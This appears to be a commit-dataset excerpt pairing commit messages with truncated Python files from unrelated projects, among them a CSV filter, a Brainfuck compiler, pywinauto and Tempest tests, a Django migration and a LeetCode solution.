logger = logging.getLogger()
signal(SIGPIPE, SIG_DFL)
def unidentified_states(item):
value = item.get('State', None)
return (value is None or (len(value) > 2 and value.strip() !=... | Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import. | Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import.
| Python | bsd-3-clause | dmc2015/hall-of-justice,sunlightlabs/hall-of-justice,dmc2015/hall-of-justice,dmc2015/hall-of-justice,sunlightlabs/hall-of-justice,sunlightlabs/hall-of-justice | Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import. | #!/usr/bin/env python3
import os
import sys
import logging
import csv
import argparse
from signal import signal, SIGPIPE, SIG_DFL
logger = logging.getLogger()
signal(SIGPIPE, SIG_DFL)
def unidentified_states(item):
value = item.get('State', None)
return (value is None or (len(value) > 2 and value.strip() !=... | <commit_before><commit_msg>Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import.<commit_after> | #!/usr/bin/env python3
import os
import sys
import logging
import csv
import argparse
from signal import signal, SIGPIPE, SIG_DFL
logger = logging.getLogger()
signal(SIGPIPE, SIG_DFL)
def unidentified_states(item):
value = item.get('State', None)
return (value is None or (len(value) > 2 and value.strip() !=... | Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import.#!/usr/bin/env python3
import os
import sys
import logging
import csv
import argparse
from signal import signal, SIGPIPE, SIG_DFL
logger = logging.getLogger()
signal(SIGPIPE, SIG_DFL)
def unidentified_states(ite... | <commit_before><commit_msg>Add a script to filter a hallofjustice csv a few ways so we can find data quality issues prior to import.<commit_after>#!/usr/bin/env python3
import os
import sys
import logging
import csv
import argparse
from signal import signal, SIGPIPE, SIG_DFL
logger = logging.getLogger()
signal(SIGPIP... | |
f5beda9ef523cc719d33bb3fd0f4deb349ff8cbd | bfcomp.py | bfcomp.py | import sys
import os
import subprocess
def compile(code):
output = """.section .bss
.lcomm mem, 8192
.set startidx, mem + 4096
.section .text
.global _start
_start:
movq $0, %r12
movq $startidx, %rbx
"""
code = ''.join(i for i in code if i in '.,[]+-<>')
loops = []
loopnum = 0
for i... | Add not yet working compiler | Add not yet working compiler
| Python | mit | ids1024/isbfc | Add not yet working compiler | import sys
import os
import subprocess
def compile(code):
output = """.section .bss
.lcomm mem, 8192
.set startidx, mem + 4096
.section .text
.global _start
_start:
movq $0, %r12
movq $startidx, %rbx
"""
code = ''.join(i for i in code if i in '.,[]+-<>')
loops = []
loopnum = 0
for i... | <commit_before><commit_msg>Add not yet working compiler<commit_after> | import sys
import os
import subprocess
def compile(code):
output = """.section .bss
.lcomm mem, 8192
.set startidx, mem + 4096
.section .text
.global _start
_start:
movq $0, %r12
movq $startidx, %rbx
"""
code = ''.join(i for i in code if i in '.,[]+-<>')
loops = []
loopnum = 0
for i... | Add not yet working compilerimport sys
import os
import subprocess
def compile(code):
output = """.section .bss
.lcomm mem, 8192
.set startidx, mem + 4096
.section .text
.global _start
_start:
movq $0, %r12
movq $startidx, %rbx
"""
code = ''.join(i for i in code if i in '.,[]+-<>')
loops = ... | <commit_before><commit_msg>Add not yet working compiler<commit_after>import sys
import os
import subprocess
def compile(code):
output = """.section .bss
.lcomm mem, 8192
.set startidx, mem + 4096
.section .text
.global _start
_start:
movq $0, %r12
movq $startidx, %rbx
"""
code = ''.join(i for i... | |
4642ffee61d48372041acf92b23793e995d3948b | examples/win10_calculator.py | examples/win10_calculator.py | """
Example script for Calculator on Windows 10
Requirements:
- Windows 10
- pywinauto 0.6.1+
Win10 version of Calculator is very specific. Few different processes (!)
own different windows and controls, so the full hierarchy can be accessed
through Desktop object only.
Minimized Calculator is a process in a "Su... | Add an example for Win10 version of Calculator. | Add an example for Win10 version of Calculator.
| Python | bsd-3-clause | cetygamer/pywinauto,vasily-v-ryabov/pywinauto,pywinauto/pywinauto,drinkertea/pywinauto,MagazinnikIvan/pywinauto,airelil/pywinauto | Add an example for Win10 version of Calculator. | """
Example script for Calculator on Windows 10
Requirements:
- Windows 10
- pywinauto 0.6.1+
Win10 version of Calculator is very specific. Few different processes (!)
own different windows and controls, so the full hierarchy can be accessed
through Desktop object only.
Minimized Calculator is a process in a "Su... | <commit_before><commit_msg>Add an example for Win10 version of Calculator.<commit_after> | """
Example script for Calculator on Windows 10
Requirements:
- Windows 10
- pywinauto 0.6.1+
Win10 version of Calculator is very specific. Few different processes (!)
own different windows and controls, so the full hierarchy can be accessed
through Desktop object only.
Minimized Calculator is a process in a "Su... | Add an example for Win10 version of Calculator."""
Example script for Calculator on Windows 10
Requirements:
- Windows 10
- pywinauto 0.6.1+
Win10 version of Calculator is very specific. Few different processes (!)
own different windows and controls, so the full hierarchy can be accessed
through Desktop object on... | <commit_before><commit_msg>Add an example for Win10 version of Calculator.<commit_after>"""
Example script for Calculator on Windows 10
Requirements:
- Windows 10
- pywinauto 0.6.1+
Win10 version of Calculator is very specific. Few different processes (!)
own different windows and controls, so the full hierarchy ... | |
7ef0b8f1246074cf78c94314aab4f804be01a1e7 | tempest/api/compute/admin/test_volumes_negative.py | tempest/api/compute/admin/test_volumes_negative.py | # Copyright 2016 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | Add negative tests about update-volume API | Add negative tests about update-volume API
As the following part of API-WG guidline[1],
If a request contains a reference to a nonexistent resource in the
body (not URI), the code should be 400 Bad Request. Do not use 404
NotFound because :rfc:`7231#section-6.5.4` (section 6.5.4) mentions
the origin server did no... | Python | apache-2.0 | cisco-openstack/tempest,masayukig/tempest,openstack/tempest,Juniper/tempest,vedujoshi/tempest,openstack/tempest,cisco-openstack/tempest,masayukig/tempest,vedujoshi/tempest,Juniper/tempest | Add negative tests about update-volume API
As the following part of API-WG guidline[1],
If a request contains a reference to a nonexistent resource in the
body (not URI), the code should be 400 Bad Request. Do not use 404
NotFound because :rfc:`7231#section-6.5.4` (section 6.5.4) mentions
the origin server did no... | # Copyright 2016 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | <commit_before><commit_msg>Add negative tests about update-volume API
As the following part of API-WG guidline[1],
If a request contains a reference to a nonexistent resource in the
body (not URI), the code should be 400 Bad Request. Do not use 404
NotFound because :rfc:`7231#section-6.5.4` (section 6.5.4) mention... | # Copyright 2016 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required ... | Add negative tests about update-volume API
As the following part of API-WG guidline[1],
If a request contains a reference to a nonexistent resource in the
body (not URI), the code should be 400 Bad Request. Do not use 404
NotFound because :rfc:`7231#section-6.5.4` (section 6.5.4) mentions
the origin server did no... | <commit_before><commit_msg>Add negative tests about update-volume API
As the following part of API-WG guidline[1],
If a request contains a reference to a nonexistent resource in the
body (not URI), the code should be 400 Bad Request. Do not use 404
NotFound because :rfc:`7231#section-6.5.4` (section 6.5.4) mention... | |
3bae553c1d5524ffa64cc1710574554a07a76357 | register.py | register.py | # -*- coding: utf-8 -*-
#
# register.py
#
# purpose: Automagically creates a Rst README.txt
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 10-Apr-2014
# modified: Fri 11 Apr 2014 12:10:43 AM BRT
#
# obs: https://coderwall.com/p/qawuyq
#
import os
import ... | Convert README from markdown to RST. | Convert README from markdown to RST.
| Python | mit | pyoceans/python-seawater,ocefpaf/python-seawater,ocefpaf/python-seawater,pyoceans/python-seawater | Convert README from markdown to RST. | # -*- coding: utf-8 -*-
#
# register.py
#
# purpose: Automagically creates a Rst README.txt
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 10-Apr-2014
# modified: Fri 11 Apr 2014 12:10:43 AM BRT
#
# obs: https://coderwall.com/p/qawuyq
#
import os
import ... | <commit_before><commit_msg>Convert README from markdown to RST.<commit_after> | # -*- coding: utf-8 -*-
#
# register.py
#
# purpose: Automagically creates a Rst README.txt
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 10-Apr-2014
# modified: Fri 11 Apr 2014 12:10:43 AM BRT
#
# obs: https://coderwall.com/p/qawuyq
#
import os
import ... | Convert README from markdown to RST.# -*- coding: utf-8 -*-
#
# register.py
#
# purpose: Automagically creates a Rst README.txt
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 10-Apr-2014
# modified: Fri 11 Apr 2014 12:10:43 AM BRT
#
# obs: https://coderwa... | <commit_before><commit_msg>Convert README from markdown to RST.<commit_after># -*- coding: utf-8 -*-
#
# register.py
#
# purpose: Automagically creates a Rst README.txt
# author: Filipe P. A. Fernandes
# e-mail: ocefpaf@gmail
# web: http://ocefpaf.github.io/
# created: 10-Apr-2014
# modified: Fri 11 Apr 2014... | |
4f3d767ff899287252e8d3ebdbc0ee9a1a0b8d54 | test/unit/test_fastly.py | test/unit/test_fastly.py | from ..helpers import *
class TestFastly(object):
def setup(self):
self.collectd = MagicMock()
self.modules = patch.dict('sys.modules', {'collectd': self.collectd})
self.modules.start()
from collectd_cdn import fastly
self.fastly = fastly.CdnFastly()
def teardown(self)... | Patch sys.modules for collectd import | Patch sys.modules for collectd import
So that we can test the plugin independent of collectd.
| Python | mit | gds-operations/collectd-cdn | Patch sys.modules for collectd import
So that we can test the plugin independent of collectd. | from ..helpers import *
class TestFastly(object):
def setup(self):
self.collectd = MagicMock()
self.modules = patch.dict('sys.modules', {'collectd': self.collectd})
self.modules.start()
from collectd_cdn import fastly
self.fastly = fastly.CdnFastly()
def teardown(self)... | <commit_before><commit_msg>Patch sys.modules for collectd import
So that we can test the plugin independent of collectd.<commit_after> | from ..helpers import *
class TestFastly(object):
def setup(self):
self.collectd = MagicMock()
self.modules = patch.dict('sys.modules', {'collectd': self.collectd})
self.modules.start()
from collectd_cdn import fastly
self.fastly = fastly.CdnFastly()
def teardown(self)... | Patch sys.modules for collectd import
So that we can test the plugin independent of collectd.from ..helpers import *
class TestFastly(object):
def setup(self):
self.collectd = MagicMock()
self.modules = patch.dict('sys.modules', {'collectd': self.collectd})
self.modules.start()
fr... | <commit_before><commit_msg>Patch sys.modules for collectd import
So that we can test the plugin independent of collectd.<commit_after>from ..helpers import *
class TestFastly(object):
def setup(self):
self.collectd = MagicMock()
self.modules = patch.dict('sys.modules', {'collectd': self.collectd})... | |
0f20599968b2ab848f8e3fde912f8d0ecdfba509 | asyncio_irc/connection.py | asyncio_irc/connection.py | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | Allow Connection.send to take unicode message | Allow Connection.send to take unicode message
| Python | bsd-2-clause | meshy/framewirc | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | <commit_before>import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
s... | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
self.host = host... | <commit_before>import asyncio
from .message import Message
class Connection:
"""
Communicates with an IRC network.
Incoming data is transformed into Message objects, and sent to `listeners`.
"""
def __init__(self, *, listeners, host, port, ssl=True):
self.listeners = listeners
s... |
bea6560ea76bd90766aa486f74593aab26beee27 | compare_real_to_dagsim.py | compare_real_to_dagsim.py | #!/usr/bin/env python3
## Copyright 2017 Eugenio Gianniti
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by ap... | Add script to compare the error between real data and DagSim simulations | Add script to compare the error between real data and DagSim simulations
| Python | apache-2.0 | deib-polimi/Spark-Log-Parser,deib-polimi/Spark-Log-Parser | Add script to compare the error between real data and DagSim simulations | #!/usr/bin/env python3
## Copyright 2017 Eugenio Gianniti
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by ap... | <commit_before><commit_msg>Add script to compare the error between real data and DagSim simulations<commit_after> | #!/usr/bin/env python3
## Copyright 2017 Eugenio Gianniti
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## http://www.apache.org/licenses/LICENSE-2.0
##
## Unless required by ap... | Add script to compare the error between real data and DagSim simulations#!/usr/bin/env python3
## Copyright 2017 Eugenio Gianniti
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may obtain a copy of the License at
##
## ... | <commit_before><commit_msg>Add script to compare the error between real data and DagSim simulations<commit_after>#!/usr/bin/env python3
## Copyright 2017 Eugenio Gianniti
##
## Licensed under the Apache License, Version 2.0 (the "License");
## you may not use this file except in compliance with the License.
## You may... | |
25606b72e55a4a79347830e7b33aa623fbdff08f | pyfr/polys.py | pyfr/polys.py | # -*- coding: utf-8 -*-
from sympy import Poly, legendre_poly, diff
from sympy.abc import x
from mpmath import polyroots
def gauss_legendre_points(n):
"""Returns the Gauss-Legendre quadrature points for order *n*
These are defined as the roots of P_n where P_n is the n'th
Legendre polynomial.
"""
... | Add some polynomial-related functions. These will be useful later. | Add some polynomial-related functions. These will be useful later.
| Python | bsd-3-clause | tjcorona/PyFR,iyer-arvind/PyFR,Aerojspark/PyFR,BrianVermeire/PyFR,tjcorona/PyFR,tjcorona/PyFR | Add some polynomial-related functions. These will be useful later. | # -*- coding: utf-8 -*-
from sympy import Poly, legendre_poly, diff
from sympy.abc import x
from mpmath import polyroots
def gauss_legendre_points(n):
"""Returns the Gauss-Legendre quadrature points for order *n*
These are defined as the roots of P_n where P_n is the n'th
Legendre polynomial.
"""
... | <commit_before><commit_msg>Add some polynomial-related functions. These will be useful later.<commit_after> | # -*- coding: utf-8 -*-
from sympy import Poly, legendre_poly, diff
from sympy.abc import x
from mpmath import polyroots
def gauss_legendre_points(n):
"""Returns the Gauss-Legendre quadrature points for order *n*
These are defined as the roots of P_n where P_n is the n'th
Legendre polynomial.
"""
... | Add some polynomial-related functions. These will be useful later.# -*- coding: utf-8 -*-
from sympy import Poly, legendre_poly, diff
from sympy.abc import x
from mpmath import polyroots
def gauss_legendre_points(n):
"""Returns the Gauss-Legendre quadrature points for order *n*
These are defined as the roo... | <commit_before><commit_msg>Add some polynomial-related functions. These will be useful later.<commit_after># -*- coding: utf-8 -*-
from sympy import Poly, legendre_poly, diff
from sympy.abc import x
from mpmath import polyroots
def gauss_legendre_points(n):
"""Returns the Gauss-Legendre quadrature points for or... | |
905b4cc269279ba444fe4114a64b6f9bf9663312 | tests/test_visibility.py | tests/test_visibility.py | """Test code for visibilty.py."""
import pytest
from visibility import decdeg2dms, StarObsPlot, VisibilityPlot
@pytest.mark.parametrize("test_input,expected", [
(0, (0, 0, 0)),
(33.33, (33, 19, 48)),
(-45.5125, (-45, 30, 45)),
(60.60, (60, 36, 0)),
(-90, (-90, 0, 0)),
])
def test_decdeg2dms(test_... | Add a test for decimal declination conversion. | Add a test for decimal declination conversion.
| Python | mit | DanielAndreasen/ObservationTools,iastro-pt/ObservationTools | Add a test for decimal declination conversion. | """Test code for visibilty.py."""
import pytest
from visibility import decdeg2dms, StarObsPlot, VisibilityPlot
@pytest.mark.parametrize("test_input,expected", [
(0, (0, 0, 0)),
(33.33, (33, 19, 48)),
(-45.5125, (-45, 30, 45)),
(60.60, (60, 36, 0)),
(-90, (-90, 0, 0)),
])
def test_decdeg2dms(test_... | <commit_before><commit_msg>Add a test for decimal declination conversion.<commit_after> | """Test code for visibilty.py."""
import pytest
from visibility import decdeg2dms, StarObsPlot, VisibilityPlot
@pytest.mark.parametrize("test_input,expected", [
(0, (0, 0, 0)),
(33.33, (33, 19, 48)),
(-45.5125, (-45, 30, 45)),
(60.60, (60, 36, 0)),
(-90, (-90, 0, 0)),
])
def test_decdeg2dms(test_... | Add a test for decimal declination conversion."""Test code for visibilty.py."""
import pytest
from visibility import decdeg2dms, StarObsPlot, VisibilityPlot
@pytest.mark.parametrize("test_input,expected", [
(0, (0, 0, 0)),
(33.33, (33, 19, 48)),
(-45.5125, (-45, 30, 45)),
(60.60, (60, 36, 0)),
(-... | <commit_before><commit_msg>Add a test for decimal declination conversion.<commit_after>"""Test code for visibilty.py."""
import pytest
from visibility import decdeg2dms, StarObsPlot, VisibilityPlot
@pytest.mark.parametrize("test_input,expected", [
(0, (0, 0, 0)),
(33.33, (33, 19, 48)),
(-45.5125, (-45, 3... | |
7ee945062db49db7bab8a2f43a0ffebb9985ef7a | zephyr/management/commands/test_deactivate.py | zephyr/management/commands/test_deactivate.py | from optparse import make_option
from django.core.management.base import BaseCommand
from confirmation.models import Confirmation
from zephyr.models import User, MitUser
class Command(BaseCommand):
help = "Mark one or more users as inactive in the database."
def handle(self, *args, **options):
for ema... | Add command to mark users as inactive. | Add command to mark users as inactive.
This is useful when testing the sigup workflow, as this script enables you
to run through a MIT signup without manually creating a new inactive user
in the database.
(imported from commit c22649cc7c561c2fbe8682d1b17d7e5aba9ac04e)
| Python | apache-2.0 | luyifan/zulip,jonesgithub/zulip,vakila/zulip,SmartPeople/zulip,ahmadassaf/zulip,he15his/zulip,arpitpanwar/zulip,mahim97/zulip,hengqujushi/zulip,ashwinirudrappa/zulip,zacps/zulip,proliming/zulip,arpitpanwar/zulip,saitodisse/zulip,saitodisse/zulip,seapasulli/zulip,mohsenSy/zulip,themass/zulip,Cheppers/zulip,peguin40/zuli... | Add command to mark users as inactive.
This is useful when testing the sigup workflow, as this script enables you
to run through a MIT signup without manually creating a new inactive user
in the database.
(imported from commit c22649cc7c561c2fbe8682d1b17d7e5aba9ac04e) | from optparse import make_option
from django.core.management.base import BaseCommand
from confirmation.models import Confirmation
from zephyr.models import User, MitUser
class Command(BaseCommand):
help = "Mark one or more users as inactive in the database."
def handle(self, *args, **options):
for ema... | <commit_before><commit_msg>Add command to mark users as inactive.
This is useful when testing the sigup workflow, as this script enables you
to run through a MIT signup without manually creating a new inactive user
in the database.
(imported from commit c22649cc7c561c2fbe8682d1b17d7e5aba9ac04e)<commit_after> | from optparse import make_option
from django.core.management.base import BaseCommand
from confirmation.models import Confirmation
from zephyr.models import User, MitUser
class Command(BaseCommand):
help = "Mark one or more users as inactive in the database."
def handle(self, *args, **options):
for ema... | Add command to mark users as inactive.
This is useful when testing the sigup workflow, as this script enables you
to run through a MIT signup without manually creating a new inactive user
in the database.
(imported from commit c22649cc7c561c2fbe8682d1b17d7e5aba9ac04e)from optparse import make_option
from django.core.... | <commit_before><commit_msg>Add command to mark users as inactive.
This is useful when testing the sigup workflow, as this script enables you
to run through a MIT signup without manually creating a new inactive user
in the database.
(imported from commit c22649cc7c561c2fbe8682d1b17d7e5aba9ac04e)<commit_after>from optp... | |
93f12cfc5a5719b195ca0b714a1b4200964b598b | tests/test_valid_json_templates.py | tests/test_valid_json_templates.py | """Test validity of json in templates"""
import pytest
import json
from jinja2 import Template
from jinja2.exceptions import TemplateNotFound
from foremast.utils import get_template
def test_get_template():
with pytest.raises(TemplateNotFound):
template = get_template(template_file='doesnotexist.json.j2... | Add test to validate json of templates | Add test to validate json of templates
| Python | apache-2.0 | gogoair/foremast,gogoair/foremast | Add test to validate json of templates | """Test validity of json in templates"""
import pytest
import json
from jinja2 import Template
from jinja2.exceptions import TemplateNotFound
from foremast.utils import get_template
def test_get_template():
with pytest.raises(TemplateNotFound):
template = get_template(template_file='doesnotexist.json.j2... | <commit_before><commit_msg>Add test to validate json of templates<commit_after> | """Test validity of json in templates"""
import pytest
import json
from jinja2 import Template
from jinja2.exceptions import TemplateNotFound
from foremast.utils import get_template
def test_get_template():
with pytest.raises(TemplateNotFound):
template = get_template(template_file='doesnotexist.json.j2... | Add test to validate json of templates"""Test validity of json in templates"""
import pytest
import json
from jinja2 import Template
from jinja2.exceptions import TemplateNotFound
from foremast.utils import get_template
def test_get_template():
with pytest.raises(TemplateNotFound):
template = get_templa... | <commit_before><commit_msg>Add test to validate json of templates<commit_after>"""Test validity of json in templates"""
import pytest
import json
from jinja2 import Template
from jinja2.exceptions import TemplateNotFound
from foremast.utils import get_template
def test_get_template():
with pytest.raises(Templat... | |
a9e486aa105076d999bec8320a9486812db8889d | scripts/probefile.py | scripts/probefile.py | #!/usr/bin/env python
"""This script create the probe specification file to match experiments."""
from __future__ import division, print_function
import numpy as np
import pandas as pd
H = 0.807
R = 0.5375
# All coordinates should be normalized by radius
z_H = np.arange(0.0, 0.751, 0.125)
z_R = z_H * H / R
# Load y... | Add script to create probes file | Add script to create probes file
| Python | mit | petebachant/RM2-CACTUS,petebachant/RM2-CACTUS,UNH-CORE/RM2-CACTUS,petebachant/RM2-CACTUS,UNH-CORE/RM2-CACTUS,UNH-CORE/RM2-CACTUS | Add script to create probes file | #!/usr/bin/env python
"""This script create the probe specification file to match experiments."""
from __future__ import division, print_function
import numpy as np
import pandas as pd
H = 0.807
R = 0.5375
# All coordinates should be normalized by radius
z_H = np.arange(0.0, 0.751, 0.125)
z_R = z_H * H / R
# Load y... | <commit_before><commit_msg>Add script to create probes file<commit_after> | #!/usr/bin/env python
"""This script create the probe specification file to match experiments."""
from __future__ import division, print_function
import numpy as np
import pandas as pd
H = 0.807
R = 0.5375
# All coordinates should be normalized by radius
z_H = np.arange(0.0, 0.751, 0.125)
z_R = z_H * H / R
# Load y... | Add script to create probes file#!/usr/bin/env python
"""This script create the probe specification file to match experiments."""
from __future__ import division, print_function
import numpy as np
import pandas as pd
H = 0.807
R = 0.5375
# All coordinates should be normalized by radius
z_H = np.arange(0.0, 0.751, 0.... | <commit_before><commit_msg>Add script to create probes file<commit_after>#!/usr/bin/env python
"""This script create the probe specification file to match experiments."""
from __future__ import division, print_function
import numpy as np
import pandas as pd
H = 0.807
R = 0.5375
# All coordinates should be normalized... | |
f03dddf47968c75bcda2b66ac28da0c04b7dc23e | gridded/gridded.py | gridded/gridded.py | class Gridded:
_grid_obj_classes = []
_grids_loaded = False
@classmethod
def _load_grid_objs(cls):
from pkg_resources import working_set
for ep in working_set.iter_entry_points('gridded.grid_objects'):
cls._grid_obj_classes.append(ep.load())
@classmethod
def load(c... | Add Gridded loader module (to be moved) | Add Gridded loader module (to be moved)
| Python | mit | pyoceans/gridded | Add Gridded loader module (to be moved) | class Gridded:
_grid_obj_classes = []
_grids_loaded = False
@classmethod
def _load_grid_objs(cls):
from pkg_resources import working_set
for ep in working_set.iter_entry_points('gridded.grid_objects'):
cls._grid_obj_classes.append(ep.load())
@classmethod
def load(c... | <commit_before><commit_msg>Add Gridded loader module (to be moved)<commit_after> | class Gridded:
_grid_obj_classes = []
_grids_loaded = False
@classmethod
def _load_grid_objs(cls):
from pkg_resources import working_set
for ep in working_set.iter_entry_points('gridded.grid_objects'):
cls._grid_obj_classes.append(ep.load())
@classmethod
def load(c... | Add Gridded loader module (to be moved)class Gridded:
_grid_obj_classes = []
_grids_loaded = False
@classmethod
def _load_grid_objs(cls):
from pkg_resources import working_set
for ep in working_set.iter_entry_points('gridded.grid_objects'):
cls._grid_obj_classes.append(ep.l... | <commit_before><commit_msg>Add Gridded loader module (to be moved)<commit_after>class Gridded:
_grid_obj_classes = []
_grids_loaded = False
@classmethod
def _load_grid_objs(cls):
from pkg_resources import working_set
for ep in working_set.iter_entry_points('gridded.grid_objects'):
... | |
d5ad063e5b893ec852a033636fb3e10401f54bdc | nodeconductor/iaas/migrations/0012_make_instance_timestamped_model.py | nodeconductor/iaas/migrations/0012_make_instance_timestamped_model.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('iaas', '0011_cloudprojectmembership_availability_zone'),
]
operations = [
... | Make instance a timestamped model | Make instance a timestamped model
| Python | mit | opennode/nodeconductor,opennode/nodeconductor,opennode/nodeconductor | Make instance a timestamped model | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('iaas', '0011_cloudprojectmembership_availability_zone'),
]
operations = [
... | <commit_before><commit_msg>Make instance a timestamped model<commit_after> | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('iaas', '0011_cloudprojectmembership_availability_zone'),
]
operations = [
... | Make instance a timestamped model# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('iaas', '0011_cloudprojectmembership_availability_zone... | <commit_before><commit_msg>Make instance a timestamped model<commit_after># -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('iaas', '0011... | |
5255b69390caa52d7eab096cf95d62bb54fd6dd2 | Lib/test/test_unary.py | Lib/test/test_unary.py | """Test compiler changes for unary ops (+, -, ~) introduced in Python 2.2"""
import unittest
from test_support import run_unittest
class UnaryOpTestCase(unittest.TestCase):
def test_negative(self):
self.assert_(-2 == 0 - 2)
self.assert_(-0 == 0)
self.assert_(--2 == 2)
self.assert_... | Test the unary operator changes to the compiler | Test the unary operator changes to the compiler
| Python | mit | sk-/python2.7-type-annotator,sk-/python2.7-type-annotator,sk-/python2.7-type-annotator | Test the unary operator changes to the compiler | """Test compiler changes for unary ops (+, -, ~) introduced in Python 2.2"""
import unittest
from test_support import run_unittest
class UnaryOpTestCase(unittest.TestCase):
def test_negative(self):
self.assert_(-2 == 0 - 2)
self.assert_(-0 == 0)
self.assert_(--2 == 2)
self.assert_... | <commit_before><commit_msg>Test the unary operator changes to the compiler<commit_after> | """Test compiler changes for unary ops (+, -, ~) introduced in Python 2.2"""
import unittest
from test_support import run_unittest
class UnaryOpTestCase(unittest.TestCase):
def test_negative(self):
self.assert_(-2 == 0 - 2)
self.assert_(-0 == 0)
self.assert_(--2 == 2)
self.assert_... | Test the unary operator changes to the compiler"""Test compiler changes for unary ops (+, -, ~) introduced in Python 2.2"""
import unittest
from test_support import run_unittest
class UnaryOpTestCase(unittest.TestCase):
def test_negative(self):
self.assert_(-2 == 0 - 2)
self.assert_(-0 == 0)
... | <commit_before><commit_msg>Test the unary operator changes to the compiler<commit_after>"""Test compiler changes for unary ops (+, -, ~) introduced in Python 2.2"""
import unittest
from test_support import run_unittest
class UnaryOpTestCase(unittest.TestCase):
def test_negative(self):
self.assert_(-2 == ... | |
198b9972c4fd89f95660dd2cf71a6eb983dae76a | py/longest-repeating-character-replacement.py | py/longest-repeating-character-replacement.py | from collections import Counter
class Solution(object):
def characterReplacement(self, s, k):
"""
:type s: str
:type k: int
:rtype: int
"""
c = Counter()
lo = 0
M = 0
for hi, char in enumerate(s):
c[char] += 1
most_commo... | Add py solution for 424. Longest Repeating Character Replacement | Add py solution for 424. Longest Repeating Character Replacement
424. Longest Repeating Character Replacement: https://leetcode.com/problems/longest-repeating-character-replacement/
| Python | apache-2.0 | ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode | Add py solution for 424. Longest Repeating Character Replacement
424. Longest Repeating Character Replacement: https://leetcode.com/problems/longest-repeating-character-replacement/ | from collections import Counter
class Solution(object):
def characterReplacement(self, s, k):
"""
:type s: str
:type k: int
:rtype: int
"""
c = Counter()
lo = 0
M = 0
for hi, char in enumerate(s):
c[char] += 1
most_commo... | <commit_before><commit_msg>Add py solution for 424. Longest Repeating Character Replacement
424. Longest Repeating Character Replacement: https://leetcode.com/problems/longest-repeating-character-replacement/<commit_after> | from collections import Counter
class Solution(object):
def characterReplacement(self, s, k):
"""
:type s: str
:type k: int
:rtype: int
"""
c = Counter()
lo = 0
M = 0
for hi, char in enumerate(s):
c[char] += 1
most_commo... | Add py solution for 424. Longest Repeating Character Replacement
424. Longest Repeating Character Replacement: https://leetcode.com/problems/longest-repeating-character-replacement/from collections import Counter
class Solution(object):
def characterReplacement(self, s, k):
"""
:type s: str
... | <commit_before><commit_msg>Add py solution for 424. Longest Repeating Character Replacement
424. Longest Repeating Character Replacement: https://leetcode.com/problems/longest-repeating-character-replacement/<commit_after>from collections import Counter
